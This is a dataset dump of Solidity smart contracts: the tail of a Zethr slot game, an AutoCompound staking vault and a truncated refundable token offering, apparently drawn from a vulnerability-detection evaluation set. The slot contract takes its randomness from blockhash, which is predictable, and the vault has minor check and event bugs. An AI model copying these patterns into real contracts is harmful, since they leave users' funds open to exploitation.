emit ThreeMoonJackpot(target, spin.blockn);
} else
if (result < 298) {
// Player has won a two-moon prize!
profit = SafeMath.mul(spin.tokenValue, 232);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else
if (result < 3127) {
// Player has won the Z T H jackpot!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10);
category = 3;
emit ZTHJackpot(target, spin.blockn);
} else
if (result < 5956) {
// Player has won a three Z symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else
if (result < 8785) {
// Player has won a three T symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else
if (result < 11614) {
// Player has won a three H symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else
if (result < 14443) {
// Player has won a three Ether icon prize
profit = SafeMath.mul(spin.tokenValue, 50);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else
if (result < 17272) {
// Player has won a three green pyramid prize
profit = SafeMath.mul(spin.tokenValue, 40);
category = 8;
emit ThreeGreenPyramids(target, spin.blockn);
} else
if (result < 20101) {
// Player has won a three gold pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else
if (result < 22929) {
// Player has won a three white pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 10;
emit ThreeWhitePyramids(target, spin.blockn);
} else
if (result < 52332) {
// Player has won a one moon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else
if (result < 120225) {
// Player has won a each-coloured-pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else
if (result < 171146) {
// Player has won a two Z symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else
if (result < 222067) {
// Player has won a two T symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else
if (result < 272988) {
// Player has won a two H symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else
if (result < 323909) {
// Player has won a two Ether icon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else
if (result < 374830) {
// Player has won a two green pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10);
category = 17;
emit TwoGreenPyramids(target, spin.blockn);
} else
if (result < 425751) {
// Player has won a two gold pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
// Player has won a two white pyramid prize!
profit = SafeMath.mul(spin.tokenValue, 2);
category = 19;
emit TwoWhitePyramids(target, spin.blockn);
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
contractBalance = contractBalance.sub(profit);
ZTHTKN.transfer(target, profit);
}
//Reset playerSpin to default values.
playerSpins[target] = playerSpin(uint200(0), uint56(0));
emit SpinConcluded(target, spin.blockn);
return result;
}
// a jackpot at the rate you've selected (i.e. 5,000 ZTH for three-moon jackpot on a 10 ZTH roll).
// If not, you're going to have to use lower betting amounts, we're afraid!
function jackpotGuard(uint _wager)
private
view
returns (bool)
{
uint maxProfit = SafeMath.mul(_wager, 500);
uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9);
return (maxProfit <= ninetyContractBalance);
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) {
return uint256(keccak256(abi.encodePacked(address(this),
blockhash(blockn),
entropy)));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addNewBetAmount(uint _tokenAmount)
public
onlyOwner
{
validTokenBet[_tokenAmount] = true;
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
function divertDividendsToBankroll()
public
onlyOwner
{
bankroll.transfer(address(this).balance);
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
| 142,564 | 318 |
04f1c70a3609498a44bb5bf113664fd89a776775cbb0622d4178378e9dc64247
| 31,143 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/6a/6AC61CF4bA87455cedd8FD9d46E2E758043E0579_AutoCompound.sol
| 4,554 | 18,603 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IArbiDexRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
}
interface ISmartChefInitializable {
struct UserInfo {
uint256 amount; // How many staked tokens the user has provided
uint256 rewardDebt; // Reward debt
}
function userInfo(address user) external view returns (uint256, uint256);
function stakedToken() external view returns (address);
function rewardToken() external view returns (address);
function deposit(uint256 _amount) external;
function withdraw(uint256 _amount) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AutoCompound is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20Metadata;
// The address of the treasury where all of the deposit and performance fees are sent
address public treasury;
// The address of the router that is used for conducting swaps
address immutable public router;
// The address of the underlying staker where the deposits and withdrawals are made
address immutable public staker;
// The reward token
address immutable public rewardToken;
// The staked token
address immutable public stakedToken;
// The address of the USDC token
address immutable USDC = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
// The fee associated with depositing into the Auto Compounder
uint256 public depositFee = 100;
// The performance fee associated whenever the farm/pool is Auto Compounded
uint256 public performanceFee = 450;
// The minimum amount of reward tokens required for swapping of harvested tokens to occur
uint256 public minimumHarvest;
// The total supply of staked tokens, that have be deposited by users
uint256 totalSupply;
address[] path;
// Info of each user that stakes tokens (stakedToken)
mapping(address => UserInfo) public userInfo;
struct UserInfo {
uint256 amount; // How many staked tokens the user has provided
}
constructor(address _treasury,
address _router,
address _staker,
uint256 _minimumHarvest) {
treasury = _treasury;
router = _router;
staker = _staker;
rewardToken = ISmartChefInitializable(staker).rewardToken();
stakedToken = ISmartChefInitializable(staker).stakedToken();
minimumHarvest = _minimumHarvest;
if (rewardToken != USDC) {
path = new address[](3);
path[0] = rewardToken; path[1] = USDC; path[2] = stakedToken;
} else {
path = new address[](2);
path[0] = rewardToken; path[1] = stakedToken;
}
}
event Harvest(uint256 amount);
event Deposit(address indexed user, uint256 amount);
event TokenRecovery(address indexed token, uint256 amount);
event NewMinimumHarvest(uint256 amount);
event NewPerformanceFee(uint256 amount);
event NewDepositFee(uint256 amount);
event DepositFeeCharged(uint256 amount);
event PerformanceFeeCharged(uint256 amount);
event TreasuryAddressChanged(address treasury);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
function harvest() public {
// Lets harvest the tokens from the underlying staker
ISmartChefInitializable(staker).deposit(0);
uint256 harvested = IERC20Metadata(rewardToken).balanceOf(address(this));
// Check to see if we have the minimum amount of reward tokens harvested
if (harvested < minimumHarvest || harvested == 0 || totalSupply == 0) {return;}
// Check allowance and see if we need to update
if (harvested > IERC20Metadata(rewardToken).allowance(address(this), router)) {
IERC20Metadata(rewardToken).safeApprove(router, type(uint256).max);
}
// Calculate the performance fee for this harvest, and send it to the treasury
if (performanceFee > 0) {
uint256 feeAmount = (harvested * performanceFee)/10000;
harvested -= feeAmount;
IERC20Metadata(rewardToken).safeTransfer(treasury, feeAmount);
emit PerformanceFeeCharged(feeAmount);
}
// Lets' compute the amount of tokens we will get out for swapping from reward to staked token
uint256[] memory amounts = IArbiDexRouter(router).getAmountsOut(harvested, path);
// As long as we get 90% of our tokens back from the swap we are good to go
uint256 amountOutMin = (amounts[amounts.length-1] * 90)/100;
// Execute the swap and get the staked token
IArbiDexRouter(router).swapExactTokensForTokens(harvested, amountOutMin, path, address(this), block.timestamp);
uint256 compounded = IERC20(stakedToken).balanceOf(address(this));
ISmartChefInitializable(staker).deposit(compounded);
emit Harvest(compounded);
}
function deposit(uint256 _amount) external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(_amount > 0, "Deposit: Amount to deposit must be greater than zero");
// Check allowance and see if we need to update
if (_amount > IERC20Metadata(stakedToken).allowance(address(this), staker)) {
IERC20Metadata(stakedToken).safeApprove(staker, type(uint256).max);
}
harvest();
IERC20Metadata(stakedToken).safeTransferFrom(address(msg.sender), address(this), _amount);
if (depositFee > 0) {
uint256 feeAmount = (_amount * depositFee)/10000;
_amount -= feeAmount;
IERC20Metadata(stakedToken).safeTransfer(treasury, feeAmount);
emit DepositFeeCharged(feeAmount);
}
user.amount += _amount;
totalSupply += _amount;
ISmartChefInitializable(staker).deposit(_amount);
emit Deposit(msg.sender, _amount);
}
function withdraw(uint256 _amount) external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(user.amount - _amount >= 0, "Withdraw: Amount to withdraw too high");
require(_amount > 0, "Withdraw: Amount to withdraw cannot be zero");
harvest();
uint256 adjustedAmount = (_amount * getTotalSupply()) / totalSupply;
totalSupply -= _amount;
user.amount -= _amount;
ISmartChefInitializable(staker).withdraw(adjustedAmount);
IERC20Metadata(stakedToken).safeTransfer(address(msg.sender), adjustedAmount);
emit Withdraw(msg.sender, _amount);
}
function emergencyWithdraw() external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(user.amount > 0, "Withdraw: Nothing to withdraw");
uint256 adjustedAmount = (user.amount * getTotalSupply()) / totalSupply;
totalSupply -= user.amount;
user.amount = 0;
ISmartChefInitializable(staker).withdraw(adjustedAmount);
IERC20Metadata(stakedToken).safeTransfer(address(msg.sender), adjustedAmount);
emit EmergencyWithdraw(msg.sender, user.amount);
}
function adjustedTokenPerShare() public view returns (uint256 _amount) {
if (getTotalSupply() == 0) {return 0;}
return ((10 ** 18) * getTotalSupply()) / totalSupply;
}
function getTotalSupply() public view returns (uint256 _amount) {
(uint256 supply,) = ISmartChefInitializable(staker).userInfo(address(this));
supply += IERC20Metadata(stakedToken).balanceOf(address(this));
return supply;
}
function recoverToken(address _token, uint256 _amount) external onlyOwner {
require(_token != address(0), "Operations: Cannot be zero address");
require(_token != address(stakedToken), "Operations: Cannot be staked token");
require(_token != address(rewardToken), "Operations: Cannot be reward token");
IERC20(_token).transfer(treasury, _amount);
emit TokenRecovery(_token, _amount);
}
function setMinimumHarvest(uint256 _amount) external onlyOwner {
minimumHarvest = _amount;
emit NewMinimumHarvest(_amount);
}
function setTreasury(address _treasury) external onlyOwner {
require(_treasury != address(0), "Operations: Address cannot be null");
treasury = _treasury;
emit TreasuryAddressChanged(_treasury);
}
function setDepositFee(uint256 _amount) external onlyOwner {
require(_amount <= 250, "Operations: Invalid deposit fee amount");
depositFee = _amount;
emit NewDepositFee(_amount);
}
function setPerformanceFee(uint256 _amount) external onlyOwner {
require(_amount <= 500, "Operations: Invalid performance fee amount");
performanceFee = _amount;
emit NewPerformanceFee(_amount);
}
}
| 43,269 | 319 |
73d97ef69aea3aec15f340d6456a60f0c2c2593318ea616aadb55828abe423eb
| 22,514 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4f62e6629e4f1cd8b72e7db8ff097f055a6ed4c0.sol
| 5,126 | 21,902 |
pragma solidity ^0.5.7;
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface PrimaryStorage {
function isPlatformModerator(address who) external view returns (bool);
function isCommunityModerator(address who) external view returns (bool);
function getProjectController() external view returns (address);
function getRefundController() external view returns (address);
function getDisputeController() external view returns (address);
function getUtilityController() external view returns (address);
function getAffiliateEscrow() external view returns (address payable);
function getRefundPool() external view returns (address payable);
function getdAppState(bytes32 controllersHash) external view returns (address projectController, address refundController, address disputeController, address maintenanceController);
function getInsuranceControllerState(uint256 insId) external view returns (bytes32);
function oldProjectCtrl(bytes32 controllersHash) external view returns (address payable);
function oldRefundCtrl(bytes32 controllersHash) external view returns (address payable);
function oldDisputeCtrl(bytes32 cntrllrs) external view returns (address payable);
function oldUtilityCtrl(bytes32 cntrllrs) external view returns (address payable);
function getIsNetworkDeployed() external view returns (bool);
function getCurrentControllersHash() external view returns (bytes32 controllerState);
function getProjectCurrentState(uint256) external view returns (uint8);
function setEventLogger(address loggerAddress) external;
function setModerationResources(address payable modResourcesAddr) external;
function setMainContract(address mainContract) external;
function setProjectController(address payable controllerAddress) external;
function setRefundController(address payable controllerAddress) external;
function setDisputeController(address payable controllerAddress) external;
function setUtilityController(address payable controllerAddress) external;
function addNewContract(address payable dAppContractAddress) external;
function setPlatformModerator(address newPlModAddr) external;
function setMinInvestorContribution(uint256 newMinInvestorContribution) external;
function setMaxInvestorContribution(uint256 newMaxInvestorContribution) external;
function setMinProtectionPercentage(uint256 newPercentage) external;
function setMaxProtectionPercentage(uint256 newPercentage) external;
function setMinOwnerContribution(uint256 newMinOwnContrib) external;
function setDefaultBasePolicyDuration(uint256 newBasePolicyPeriod) external;
function setDefaultPolicyDuration(uint256 newPolicyPeriod) external;
function setRegularContributionPercentage(uint256 newPercentage) external;
function getDisputeProjectId(uint256 disputeId) external view returns (uint256);
function setValidationToken(address verificatedUser, uint256 validationNumber) external;
function getDisputeControllerOfProject(uint256 disputeId) external view returns (address);
}
interface SecondaryStorage {
function getRefundControllerOfProject(uint256 pid) external view returns (address);
function getDisputeControllerOfProject(uint256 pid) external view returns (address);
function getUitilityControllerOfProject(uint256 pid) external view returns (address);
function getProjectControllerOfProject(uint256 pid) external view returns (address);
function getProjectCurrentState(uint256 pid) external view returns (uint8);
function getVoteEnd(uint256 pid) external view returns (uint256);
function getProjectControllerState(uint256 pid) external view returns (bytes32);
function getUtilityControllerOfProject(uint256 pid) external view returns (address);
}
interface ProjectController {
function newProject(bytes calldata projectName,
address tokenAddress,
uint256 crowdsaleEnd,
uint256 highestCrowdsalePrice,
uint8 tokenDecimals)
external
payable;
function newInsurance(address payable insOwner,
uint256 pid,
address referrer)
external
payable
returns (bool success);
function newOwnerContribution(uint256 pid, address ownerAddr) external payable;
function close(uint256 pid) external;
function setNewProjectTokenPrice(uint256 pid,
uint256 newPrice,
uint256 insuranceId)
external
returns (uint256 numberOfChanges);
function isOpen(uint256 projectId) external returns (bool);
function upgrade(uint256 insId) external;
}
interface RefundController {
function cancel(uint256 ins, uint256 pid, address insOwner) external returns (bool);
function voteForRefundState(address owner, uint256 ins, uint256 pid) external returns (bool);
function withdraw(address owner, uint256 ins, uint256 pid) external returns (bool);
function forceRefundState(address moderator, uint256 pid) external;
function finalizeVote(uint256 pid) external;
}
interface DisputeController {
function createNewDispute(address caller,
uint256 pid,
bytes calldata publicDisputeUrl)
external
payable
returns (bool);
function addPublicVote(address voter, uint256 did, bytes32 hiddenVote) external payable returns (bool);
function decryptVote(address voter, uint256 did, bool isProjectFailed, uint64 pin) external returns (bool);
function finalizeDispute(uint256 did) external returns (bool);
}
interface UtilityController {
function withdraw(uint256 pid, address payable owner, uint256 insuranceId) external;
function withdrawInsuranceFee(uint256 pid, address payable owner, uint256 insuranceId) external;
function ownerWithdraw(address owner, address sendTo, uint256 pid) external returns (bool);
function withdrawDisputePayment(address payable caller, uint256 did) external;
function cancelInvalid(uint256 pid, uint256[8] calldata invalidInsuranceId) external;
function cancelProjectCovarage(uint256 pid) external;
function managePolicies(uint256 startFromn, uint256 umberOfProjects) external;
function voteMaintenance(uint256 startFrom, uint256 numberOfProjects) external;
function affiliatePayment(address owner) external;
function removeCanceled(uint256 pid, uint256[8] calldata canceledInsIdx) external;
}
interface AffiliateEscrow {
function deposit(address affiliate) external payable;
function getAffiliatePayment (address affiliate) external view returns (uint256);
function withdraw(address to) external;
function updateControllerState(address payable projectCtrl,
address payable refundCtrl,
address payable disputeCtrl,
address payable utilityCtrl)
external;
}
interface RefundPool {
function cleanIfNoProjects() external;
}
contract RefundableTokenOffering is ReentrancyGuard {
using SafeMath for uint256;
PrimaryStorage private masterStorage;
SecondaryStorage private secondStorage;
RefundPool private pool;
ProjectController private projectController;
RefundController private refundController;
DisputeController private disputeController;
UtilityController private utilityController;
AffiliateEscrow private affiliate;
bytes32 private controllersHash;
address payable private refundPool;
event CommunityAidReceived(address sender, uint256 value);
event ControllerUpgrade(address newController);
constructor(address primaryStorage,
address secondaryStorage,
address payable refundPoolAddress,
address payable affiliateEscrow)
public
{
masterStorage = PrimaryStorage(primaryStorage);
secondStorage = SecondaryStorage(secondaryStorage);
refundPool = refundPoolAddress;
affiliate = AffiliateEscrow(affiliateEscrow);
}
function() external payable {
emit CommunityAidReceived(msg.sender, msg.value);
}
///////////////////////////////////////////////////
// Access modifiers
//////////////////////////////////////////////////
modifier onlyModerators {
if (!masterStorage.isPlatformModerator(msg.sender)) {
revert("Not allowed");
}
_;
}
modifier onlyOpen(uint256 pid) {
if (secondStorage.getProjectCurrentState(pid) == 0) {
_;
} else {
revert("The project is not open");
}
}
modifier onlyExternalAccounts(address sender) {
if (_isContract(sender)) {
revert("Not allowed");
} else {
_;
}
}
///////////////////////////////////////////////////
// Main View
//////////////////////////////////////////////////
function addCoveredProject(bytes memory projectName,
address tokenAddress,
uint256 crowdsaleEnd,
uint256 highestCrowdsalePrice,
uint8 tokenDecimals)
public
payable
onlyModerators
{
projectController.newProject.value(msg.value)(projectName,
tokenAddress,
crowdsaleEnd,
highestCrowdsalePrice,
tokenDecimals);
}
function newInvestmentProtection(uint256 pid, address referrer)
external
payable
nonReentrant
onlyOpen(pid)
onlyExternalAccounts(msg.sender)
{
ProjectController project = _projectControllerOfProject(pid);
project.newInsurance.value(msg.value)(msg.sender, pid, referrer);
}
function projectOwnerContribution(uint256 pid)
external
payable
nonReentrant
onlyOpen(pid)
{
ProjectController project = _projectControllerOfProject(pid);
project.newOwnerContribution.value(msg.value)(pid, msg.sender);
}
function closeProject(uint256 pid)
public
payable
onlyModerators
{
ProjectController project = _projectControllerOfProject(pid);
project.close(pid);
}
function setProjectTokenPrice(uint256 pid, uint256 newPrice, uint256 insuranceId)
public
payable
onlyModerators
{
ProjectController project = _projectControllerOfProject(pid);
project.setNewProjectTokenPrice(pid, newPrice, insuranceId);
}
function cancelInsurance(uint256 ins, uint256 pid) external nonReentrant {
RefundController refund = _refundControllerOfInsurance(ins);
refund.cancel(ins, pid, msg.sender);
}
function voteForRefundState(uint256 ins, uint256 pid) external nonReentrant {
RefundController refund = _refundControllerOfInsurance(ins);
refund.voteForRefundState(msg.sender, ins, pid);
}
function requestRefundWithdraw(uint256 ins, uint256 pid) external nonReentrant {
RefundController refund = _refundControllerOfInsurance(ins);
refund.withdraw(msg.sender, ins, pid);
}
function finishInternalVote(uint256 pid) public {
uint8 pcs = secondStorage.getProjectCurrentState(pid);
uint256 voteEndDate = secondStorage.getVoteEnd(pid);
require(pcs == 2 && block.number > voteEndDate, "The project is not in a internal vote period, or it is not finished");
RefundController refund = _refundControllerOfProject(pid);
refund.finalizeVote(pid);
}
function forceRefundState(uint256 pid) public onlyModerators {
RefundController refund = _refundControllerOfProject(pid);
refund.forceRefundState(msg.sender, pid);
}
function createPublicDispute(uint256 pid, bytes calldata publicDisputeUrl)
external
payable
nonReentrant
onlyExternalAccounts(msg.sender)
{
DisputeController dispute = _disputeControllerOfProject(pid);
dispute.createNewDispute.value(msg.value)(msg.sender, pid, publicDisputeUrl);
}
function newPublicVote(uint256 did, bytes32 encryptedVote)
external
payable
nonReentrant
onlyExternalAccounts(msg.sender)
{
DisputeController dispute = _disputeControllerOfDispute(did);
dispute.addPublicVote.value(msg.value)(msg.sender, did, encryptedVote);
}
function revealPublicVote(uint256 did,
bool isProjectFailed,
uint64 pin)
external
returns (bool)
{
DisputeController dispute = _disputeControllerOfDispute(did);
dispute.decryptVote(msg.sender, did, isProjectFailed, pin);
}
function finishPublicDispute(uint256 did)
external
nonReentrant
{
DisputeController dispute = _disputeControllerOfDispute(did);
dispute.finalizeDispute(did);
}
function withdrawDisputePayment(uint256 did) external nonReentrant {
uint256 pid = masterStorage.getDisputeProjectId(did);
UtilityController utility = _utilityControllerOfProject(pid);
utility.withdrawDisputePayment(msg.sender, did);
}
function setValidationToken(address verificatedUser, uint256 validationNumber) public onlyModerators {
masterStorage.setValidationToken(verificatedUser, validationNumber);
}
function withdraw(uint256 pid, uint256 insuranceId) external nonReentrant {
UtilityController utility = _utilityControllerOfInsurance(insuranceId);
utility.withdraw(pid, msg.sender, insuranceId);
}
function withdrawFee(uint256 pid, uint256 insuranceId) external nonReentrant {
UtilityController utility = _utilityControllerOfInsurance(insuranceId);
utility.withdrawInsuranceFee(pid, msg.sender, insuranceId);
}
function affiliatePayment() external nonReentrant {
affiliate.withdraw(msg.sender);
}
function cancelInvalidInsurances(uint256 projectId, uint256[8] memory invalidInsuranceId) public
{
UtilityController utility = _utilityControllerOfProject(projectId);
utility.cancelInvalid(projectId, invalidInsuranceId);
}
function removeCanceledInsurances(uint256 pid,
uint256[8] memory invalidInsuranceId)
public
{
UtilityController utility = _utilityControllerOfProject(pid);
utility.removeCanceled(pid, invalidInsuranceId);
}
function withdrawOwnerFunds(uint256 pid, address sendTo) external nonReentrant returns (bool) {
UtilityController utility = _utilityControllerOfProject(pid);
return utility.ownerWithdraw(msg.sender, sendTo, pid);
}
function cancelProjectCovarage(uint256 pid) public {
